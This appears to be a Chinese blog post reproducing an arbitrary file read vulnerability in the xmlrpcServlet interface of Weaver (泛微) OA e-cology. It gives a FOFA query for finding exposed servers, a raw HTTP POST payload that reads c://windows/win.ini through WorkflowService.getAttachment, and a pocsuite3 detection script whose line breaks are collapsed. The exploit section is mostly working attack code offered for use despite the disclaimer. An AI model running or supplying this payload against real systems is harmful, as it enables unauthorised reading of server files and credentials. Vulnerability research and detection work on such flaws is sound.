当前位置: 首页 > news >正文

漏洞复现-泛微OA xmlrpcServlet接口任意文件读取漏洞(附漏洞检测脚本)

免责声明

文章中涉及的漏洞均已修复,敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行负责

漏洞描述

该系统 xmlrpcServlet接口存在任意文件读取漏洞,攻击者通过此漏洞,可读取服务器上任意文件。

fofa语句

app="泛微-OA(e-cology)"

poc加检测

POST /weaver/org.apache.xmlrpc.webserver.XmlRpcServlet HTTP/1.1
Host: 
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>WorkflowService.getAttachment</methodName><params><param><value><string>c://windows/win.ini</string></value></param></params></methodCall>

读取文件后使用base64解码

poc脚本

脚本使用pocsuite框架

# _*_ coding:utf-8 _*_
# @Time : 2023/12/25
# @Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_strclass fanweiOA_xml_fileread(POCBase):pocDesc = '''泛微OA xmlrpcServlet接口任意文件读取漏洞'''author = '炼金术师诸葛亮'createDate = '2023-12-25'name = '泛微OA xmlrpcServlet接口任意文件读取漏洞'def _verify(self):result = {}url = self.url + '/weaver/org.apache.xmlrpc.webserver.XmlRpcServlet'headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3','Accept-Encoding': 'gzip, deflate','DNT': '1','Connection': 'close','Upgrade-Insecure-Requests': '1',"Content-Type": "application/x-www-form-urlencoded"}data = """<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>WorkflowService.getAttachment</methodName><params><param><value><string>c://windows/win.ini</string></value></param></params></methodCall>"""try:response = requests.post(url, headers=headers,data=data,verify=False)text = response.textif response.status_code == 200 and 'Oy' in text:result['VerifyInfo'] = {}return self.parse_output(result)except Exception as e:passregister_poc(fanweiOA_xml_fileread)

脚本利用

相关文章:

  • [足式机器人]Part2 Dr. CAN学习笔记-Ch00 - 数学知识基础
  • Flink系列之:深入理解ttl和checkpoint,Flink SQL应用ttl案例
  • Nessus详细安装-windows (保姆级教程)
  • 用C/C++实现MSML协议栈的详细介绍
  • 组合模式(Composite)
  • 深入剖析LinkedList:揭秘底层原理
  • 【C语言刷题每日一题】一维数组的交换
  • Wordpress对接Lsky Pro 兰空图床插件
  • 软件测试自学还是报班好?
  • 「数据结构」二叉树2
  • ES的安装和RestClient的操作
  • tomcat剖析:开篇
  • windows安装npm教程
  • 小狐狸ChatGPT系统 不同老版本升级至新版数据库结构同步教程
  • 算法leetcode|94. 二叉树的中序遍历(多语言实现)
  • 【译】JS基础算法脚本:字符串结尾
  • 分享一款快速APP功能测试工具
  • css选择器
  • Magento 1.x 中文订单打印乱码
  • node学习系列之简单文件上传
  • Protobuf3语言指南
  • React组件设计模式(一)
  • Sublime text 3 3103 注册码
  • Synchronized 关键字使用、底层原理、JDK1.6 之后的底层优化以及 和ReenTrantLock 的对比...
  • Vue实战(四)登录/注册页的实现
  • 对超线程几个不同角度的解释
  • 排序算法之--选择排序
  • 写给高年级小学生看的《Bash 指南》
  • 智能合约Solidity教程-事件和日志(一)
  • mysql面试题分组并合并列
  • 教程:使用iPhone相机和openCV来完成3D重建(第一部分) ...
  • 智能情侣枕Pillow Talk,倾听彼此的心跳
  • ​水经微图Web1.5.0版即将上线
  • # Kafka_深入探秘者(2):kafka 生产者
  • #include<初见C语言之指针(5)>
  • #NOIP 2014# day.1 生活大爆炸版 石头剪刀布
  • %@ page import=%的用法
  • (10)Linux冯诺依曼结构操作系统的再次理解
  • (8)Linux使用C语言读取proc/stat等cpu使用数据
  • (pytorch进阶之路)扩散概率模型
  • (附源码)spring boot公选课在线选课系统 毕业设计 142011
  • (一)基于IDEA的JAVA基础1
  • (原創) 是否该学PetShop将Model和BLL分开? (.NET) (N-Tier) (PetShop) (OO)
  • (转) Android中ViewStub组件使用
  • ... 是什么 ?... 有什么用处?
  • .bat批处理(五):遍历指定目录下资源文件并更新
  • .NET CORE 2.0发布后没有 VIEWS视图页面文件
  • .net core Swagger 过滤部分Api
  • .NET Micro Framework初体验
  • .NET/C# 如何获取当前进程的 CPU 和内存占用?如何获取全局 CPU 和内存占用?
  • .NET6实现破解Modbus poll点表配置文件
  • .NET框架类在ASP.NET中的使用(2) ——QA
  • .NET框架设计—常被忽视的C#设计技巧
  • [ SNOI 2013 ] Quare
  • [20150629]简单的加密连接.txt